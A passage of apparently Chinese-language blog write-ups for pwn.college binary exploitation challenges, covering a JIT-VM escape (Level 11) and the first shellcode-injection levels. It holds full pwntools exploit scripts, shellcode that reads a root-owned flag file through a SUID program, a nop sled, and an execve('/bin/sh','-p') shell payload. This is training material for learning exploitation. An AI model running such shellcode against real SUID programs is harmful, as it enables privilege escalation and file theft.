      crash(a1, &quot;Unkown register combination in helper_combo_byte&quot;);
    *a2 = -10;
    return a2 + 1;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;helper_jmp_i(a1, v10)&lt;/code&gt; 生成的代码是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov r8, r9
shl r8, 3
movabs rax, 0x7fff791f5478
add r8, rax
mov r8, qword ptr [r8]
movabs rax, 0x1337000
add r8, rax
jmp r8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其内部实现如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall helper_jmp_i(__int64 a1, __int64 a2)
{
  *(_BYTE *)a2 = 0x4D;
  *(_BYTE *)(a2 + 1) = 0x89;
  *(_BYTE *)(a2 + 2) = 0xC8;
  *(_BYTE *)(a2 + 3) = 0x49;
  *(_BYTE *)(a2 + 4) = 0xC1;
  *(_BYTE *)(a2 + 5) = 0xE0;
  *(_BYTE *)(a2 + 6) = 3;
  *(_BYTE *)(a2 + 7) = 0x48;
  *(_BYTE *)(a2 + 8) = 0xB8;
  *(_QWORD *)(a2 + 9) = a1 + 0x2008;
  *(_BYTE *)(a2 + 17) = 0x49;
  *(_BYTE *)(a2 + 18) = 1;
  *(_BYTE *)(a2 + 19) = 0xC0;
  *(_BYTE *)(a2 + 20) = 0x4D;
  *(_BYTE *)(a2 + 21) = 0x8B;
  *(_BYTE *)(a2 + 22) = 0;
  *(_BYTE *)(a2 + 23) = 0x48;
  *(_BYTE *)(a2 + 24) = 0xB8;
  *(_QWORD *)(a2 + 25) = *(_QWORD *)(a1 + 0x2000);
  *(_BYTE *)(a2 + 33) = 0x49;
  *(_BYTE *)(a2 + 34) = 1;
  *(_BYTE *)(a2 + 35) = 0xC0;
  *(_BYTE *)(a2 + 36) = 0x41;
  *(_BYTE *)(a2 + 37) = 0xFF;
  *(_BYTE *)(a2 + 38) = 0xE0;
  return a2 + 39;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大致逻辑就是以 &lt;code&gt;a1 + 0x2008&lt;/code&gt; 为基地址，reg 左移三位的值为偏移的这个位置处的 QWORD 移动到 &lt;code&gt;r8&lt;/code&gt;，并以 &lt;code&gt;*(_QWORD *)(a1 + 0x2000)&lt;/code&gt;，也就是 &lt;code&gt;0x1337000&lt;/code&gt; 为基，&lt;code&gt;r8&lt;/code&gt; 为偏移，跳转到 &lt;code&gt;r8&lt;/code&gt; 处执行。所以我们只要控制 &lt;code&gt;r8&lt;/code&gt; 为 shellcode 的偏移就好了。&lt;/p&gt;
&lt;p&gt;因为有之前 Yan85 的经验，我们知道 &lt;code&gt;stm&lt;/code&gt; 可以用于设置寄存器指向的地址的值，所以：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall emit_stm(
        __int64 a1,
        const void *a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        __int64 a7,
        __int64 a8)
{
  const char *v8; // rbx
  const char *v9; // rax
  __int64 r8; // rax

  v8 = (const char *)describe_register(a8);
  v9 = (const char *)describe_register(a7);
  printf(&quot;[e] compiling STM *%s = %s to %p\n&quot;, v9, v8, a2);
  r8 = helper_load_r8(a1, a2, a7);
  return helper_store_mem(a1, r8, a8);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;r8 = helper_load_r8(a1, a2, a7);&lt;/code&gt; 的作用是将 arg1 寄存器的值加载到 &lt;code&gt;r8&lt;/code&gt; 中。变量 &lt;code&gt;r8&lt;/code&gt; 存储的是下一条指令的起始地址。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;helper_store_mem(a1, r8, a8)&lt;/code&gt; 的作用是先将 &lt;code&gt;a1 + 0x1800&lt;/code&gt; 的地址写入 &lt;code&gt;rax&lt;/code&gt;，然后 &lt;code&gt;r8 = r8 + rax&lt;/code&gt; 得到要写入的位置，最后将 arg2 寄存器的 QWORD 值写入到 &lt;code&gt;[r8]&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;所以 &lt;code&gt;stm&lt;/code&gt; 实际实现了下面这些指令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov r8, r10
movabs rax, 0x7ffc4b50d840
add r8, rax
mov qword ptr [r8], r11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;相信敏锐的你已经发现了，通过 &lt;code&gt;stm&lt;/code&gt; 直接可以控制 &lt;code&gt;jmp&lt;/code&gt; 的跳转偏移！&lt;/p&gt;
&lt;p&gt;之前我们分析出编译出来的 amd64 代码在 &lt;code&gt;a1 + 0x2000&lt;/code&gt; 处，而这里 &lt;code&gt;stm&lt;/code&gt; 是以 &lt;code&gt;a1 + 0x1800&lt;/code&gt; 为基址的，所以我们需要计算一下它们之间相距多少：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
   0x133704d    movabs r10, 0                  R10 =&amp;gt; 0
   0x1337057    mov    r9, 1                   R9 =&amp;gt; 1
   0x133705e    movabs r11, 0x76               R11 =&amp;gt; 0x76
   0x1337068    mov    r9, 2                   R9 =&amp;gt; 2
   0x133706f    mov    r8, r10                 R8 =&amp;gt; 0
 ► 0x1337072    movabs rax, 0x7ffc436fde60     RAX =&amp;gt; 0x7ffc436fde60 ◂— 0
   0x133707c    add    r8, rax                 R8 =&amp;gt; 0x7ffc436fde60 (0x0 + 0x7ffc436fde60)
   0x133707f    mov    qword ptr [r8], r11     [0x7ffc436fde60] =&amp;gt; 0x76
   0x1337082    mov    r9, 3                   R9 =&amp;gt; 3
   0x1337089    mov    r9, r10                 R9 =&amp;gt; 0
   0x133708c    mov    r8, r9                  R8 =&amp;gt; 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffc436fc638 —▸ 0x604e8e832312 (main+630) ◂— mov eax, 0
01:0008│     0x7ffc436fc640 —▸ 0x7ffc436fef98 —▸ 0x7ffc436ff629 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/toddlerone-level-11-0&apos;
02:0010│     0x7ffc436fc648 ◂— 0x100000000
03:0018│     0x7ffc436fc650 ◂— 0
04:0020│     0x7ffc436fc658 —▸ 0x13377b6 ◂— add byte ptr [rax], al
05:0028│     0x7ffc436fc660 ◂— 0x20 /* &apos; &apos; */
06:0030│     0x7ffc436fc668 ◂— 0
07:0038│     0x7ffc436fc670 ◂— 0x40 /* &apos;@&apos; */
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0        0x1337072
   1   0x604e8e832312 main+630
   2   0x7963bbc34e08
   3   0x7963bbc34ecc __libc_start_main+140
   4   0x604e8e8302ae _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; p/x 0x2000-0x1800
$1 = 0x800
pwndbg&amp;gt; x/10gx 0x7ffc436fde60+0x800
0x7ffc436fe660: 0x0000000001337000 0x0000000000000046
0x7ffc436fe670: 0x0000000000000057 0x0000000000000068
0x7ffc436fe680: 0x0000000000000082 0x00000000000000b3
0x7ffc436fe690: 0x00000000000000c4 0x00000000000000d5
0x7ffc436fe6a0: 0x00000000000000e6 0x00000000000000ed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以，只要控制偏移为 &lt;code&gt;0x808&lt;/code&gt; 处的值为 shellcode 的偏移即可。&lt;/p&gt;
&lt;p&gt;那我们的 yancode 就可以设计为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;imm a, 0x808
imm b, shellcode_offset
stm a, b
imm a, 0
jmp * a
imm a, shellcode
imm a, shellcode
imm a, shellcode
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为 shellcode 用一个变量肯定存不下，所以我们需要把各个部分分开写到多个变量中，之间通过 &lt;code&gt;jmp&lt;/code&gt; 来实现连续的控制流。&lt;/p&gt;
&lt;p&gt;小小 JIT 不过如此嘛～&lt;/p&gt;
&lt;p&gt;至此，既然攻击链都出来了，那这个虚拟机还剩下的一些细枝末节我就懒得分析了，直接开写 exp。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, p64, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-11-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *main+628
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def construct_payload():
    &quot;&quot;&quot;
    arg1, arg2, opcode

    /* chmod(file=&apos;f&apos;, mode=4) */
    /* push b&apos;f\x00&apos; */
    push 0x66
    mov rdi, rsp
    push 4
    pop rsi
    /* call chmod() */
    push 90 /* 0x5a */
    pop rax
    syscall
    &quot;&quot;&quot;

    yancode = p64(0x20) + p64(0x808) + p64(0x40)  # imm a, 0x808
    yancode += p64(0x40) + p64(0xCD) + p64(0x40)  # imm b, 0xcd
    yancode += p64(0x20) + p64(0x40) + p64(0x10)  # stm a, b
    yancode += p64(0x20) + p64(0x00) + p64(0x40)  # imm a, 0x00
    yancode += p64(0x00) + p64(0x20) + p64(0x08)  # jmp *, a
    yancode += (
        p64(0x20) + asm(&quot;push 0x66; mov rdi, rsp; nop; jmp $+0xb&quot;) + p64(0x40)
    )  # imm a, shellcode
    yancode += (
        p64(0x20) + asm(&quot;push 0x4; pop rsi; push 0x5a; nop; jmp $+0xb&quot;) + p64(0x40)
    )  # imm a, shellcode
    yancode += (
        p64(0x20) + asm(&quot;pop rax; syscall&quot;) + asm(&quot;nop&quot;) * 0x5 + p64(0x40)
    )  # imm a, shellcode

    return yancode


def attack(target, payload):
    try:
        target.sendafter(b&quot;Please input your yancode: &quot;, payload)
        target.recvall(timeout=3)

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{MCXoFb-q4KUhm1mE_Yk7XCDiZZa.0VOzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 11.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The ultimate Yan85 challenge. Provide your own Yan85 shellcode. Now updated for modern hardware!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-110&quot;&gt;Level 11.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, p64, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-11-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *main+503
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def construct_payload():
    &quot;&quot;&quot;
    opcode arg1, arg2

    /* chmod(file=&apos;f&apos;, mode=4) */
    /* push b&apos;f\x00&apos; */
    push 0x66
    mov rdi, rsp
    push 4
    pop rsi
    /* call chmod() */
    push 90 /* 0x5a */
    pop rax
    syscall
    &quot;&quot;&quot;

    yancode = p64(0x10) + p64(0x08) + p64(0x808)  # imm a, 0x808
    yancode += p64(0x10) + p64(0x02) + p64(0xCD)  # imm b, 0xcd
    yancode += p64(0x02) + p64(0x08) + p64(0x02)  # stm a, b
    yancode += p64(0x10) + p64(0x08) + p64(0x00)  # imm a, 0x00
    yancode += p64(0x08) + p64(0x00) + p64(0x08)  # jmp *, a
    yancode += (
        p64(0x10) + p64(0x08) + asm(&quot;push 0x66; mov rdi, rsp; nop; jmp $+0xb&quot;)
    )  # imm a, shellcode
    yancode += (
        p64(0x10) + p64(0x08) + asm(&quot;push 0x4; pop rsi; push 0x5a; nop; jmp $+0xb&quot;)
    )  # imm a, shellcode
    yancode += (
        p64(0x10) + p64(0x08) + asm(&quot;pop rax; syscall&quot;) + asm(&quot;nop&quot;) * 0x5
    )  # imm a, shellcode

    return yancode


def attack(target, payload):
    try:
        target.sendafter(b&quot;Please input your yancode: &quot;, payload)

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Ya3vfImP22Fzv4tZpHMBD5iDj_H.0FM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;又是打了十八天，终于可以开启我心心念念朝思暮想曾多次想放弃却从未开启的下一章了 LMAO&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: Program Security (Shellcode Injection) series (Completed)</title><link>https://cubeyond.net/posts/write-ups/pwncollege-shellcode-injection/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-shellcode-injection/</guid><description>Write-ups for pwn.college binary exploitation series.</description><pubDate>Tue, 24 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Level 1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; checksec
File:     /home/cub3y0nd/Projects/pwn.college/babyshell-level-1
Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX unknown - GNU_STACK missing
PIE:        PIE enabled
Stack:      Executable
RWX:        Has RWX segments
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+2Ch] [rbp-1024h]
  const char **i; // [rsp+30h] [rbp-1020h]
  const char **j; // [rsp+38h] [rbp-1018h]
  _BYTE v10[16]; // [rsp+40h] [rbp-1010h] BYREF
  unsigned __int64 v11; // [rsp+1048h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  puts(
    &quot;In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every&quot;);
  puts(&quot;execution, your shellcode will need to be *position-independent*.\n&quot;);
  shellcode = v10;
  printf(&quot;Allocated 0x1000 bytes for shellcode on the stack at %p!\n&quot;, v10);
  puts(&quot;Reading 0x1000 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x1000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-1.c&quot;, 0x69u, &quot;main&quot;);
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_2565);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;够简单的吧，stack rwx，&lt;code&gt;((void (*)(void))shellcode)();&lt;/code&gt; 把 &lt;code&gt;buf&lt;/code&gt; 的地址强制转换为函数指针，执行我们的输入内容。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;由于是 SUID 程序，以程序所有者权限运行。所以我们的思路是通过 &lt;code&gt;sendfile(0x1, open(&quot;/flag&quot;, 0x0, 0x0), 0x0, 0x1000)&lt;/code&gt; 直接输出 &lt;code&gt;/flag&lt;/code&gt; 的内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, pause, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = asm(
        &quot;&quot;&quot;
    mov rax, 0x67616c662f
    push rax
    lea rdi, [rsp]
    mov rsi, 0x0
    mov rdx, 0x0
    mov rax, 0x2
    syscall

    mov rdi, 0x1
    mov rsi, rax
    mov rdx, 0x0
    mov rcx, 0x1000
    mov rax, 0x28
    syscall

    mov rdi, 0x0
    mov rax, 0x3c
    syscall
        &quot;&quot;&quot;
    )

    return shellcode


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=5)

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        if attack(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还可以用 pwntools 的 shellcraft 来完成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def construct_payload():
    shellcode = shellcraft.cat(&quot;/flag&quot;)

    return asm(shellcode)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果要 shell 的话可以这样写，&lt;code&gt;-p&lt;/code&gt; 参数确保使用真实 &lt;code&gt;uid&lt;/code&gt;、&lt;code&gt;gid&lt;/code&gt; 启动 &lt;code&gt;/bin/sh&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def construct_payload():
    shellcode = shellcraft.execve(&quot;/bin/sh&quot;, [&quot;/bin/sh&quot;, &quot;-p&quot;], 0)

    return asm(shellcode)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{s4taPKpK1SzfB3gWK--PDuB4Xwx.01NxIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 2&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but a portion of your input is randomly skipped.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  unsigned int v5; // eax
  int fd; // [rsp+28h] [rbp-1028h]
  int v9; // [rsp+2Ch] [rbp-1024h]
  const char **i; // [rsp+30h] [rbp-1020h]
  const char **j; // [rsp+38h] [rbp-1018h]
  _BYTE v12[16]; // [rsp+40h] [rbp-1010h] BYREF
  unsigned __int64 v13; // [rsp+1048h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  puts(
    &quot;In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every&quot;);
  puts(&quot;execution, your shellcode will need to be *position-independent*.\n&quot;);
  shellcode = v12;
  printf(&quot;Allocated 0x1000 bytes for shellcode on the stack at %p!\n&quot;, v12);
  puts(&quot;Reading 0x1000 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x1000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-2.c&quot;, 0x69u, &quot;main&quot;);
  puts(&quot;Executing filter...\n&quot;);
  puts(
    &quot;This challenge will randomly skip up to 0x800 bytes in your shellcode. You better adapt to that! One way to evade this&quot;);
  puts(
    &quot;is to have your shellcode start with a long set of single-byte instructions that do nothing, such as `nop`, before the&quot;);
  puts(
    &quot;actual functionality of your code begins. When control flow hits any of these instructions, they will all harmlessly&quot;);
  puts(&quot;execute and then your real shellcode will run. This concept is called a `nop sled`.\n&quot;);
  v5 = time(0LL);
  srand(v5);
  v9 = rand() % 1792 + 256;
  shellcode = (char *)shellcode + v9;
  shellcode_size -= v9;
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_2735);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题在上一题的基础之上加了一个简单的限制：随机生成一个 &lt;code&gt;[0, 2048)&lt;/code&gt; 之内的随机数，将 shellcode 地址设置为 &lt;code&gt;buf&lt;/code&gt; 起始地址加上这个随机数。所以我们要避免把实际攻击代码放在 &lt;code&gt;[0, 2048)&lt;/code&gt; 这个地址区间内，通过 &lt;code&gt;nop sled&lt;/code&gt; 滑过这块区间就可以轻松绕过～&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, pause, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-2&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = asm(
        &quot;&quot;&quot;
    .rept 0x7ff
        nop
    .endr

    mov rax, 0x67616c662f
    push rax
    lea rdi, [rsp]
    mov rsi, 0x0
    mov rdx, 0x0
    mov rax, 0x2
    syscall

    mov rdi, 0x1
    mov rsi, rax
    mov rdx, 0x0
    mov rcx, 0x1000
    mov rax, 0x28
    syscall

    mov rdi, 0x0
    mov rax, 0x3c
    syscall
        &quot;&quot;&quot;
    )

    return shellcode


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=5)

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        if attack(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;def construct_payload(sled_length):
    shellcode = shellcraft.nop() * sled_length
    shellcode += shellcraft.cat(&quot;/flag&quot;)

    return asm(shellcode)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{ws9aMHkG9tAyi31HLrmkc2LoE35.0FOxIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 3&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but your inputted data is filtered before execution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+28h] [rbp-18h]
  int k; // [rsp+2Ch] [rbp-14h]
  const char **i; // [rsp+30h] [rbp-10h]
  const char **j; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x2CE31000, 0x1000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)753078272 )
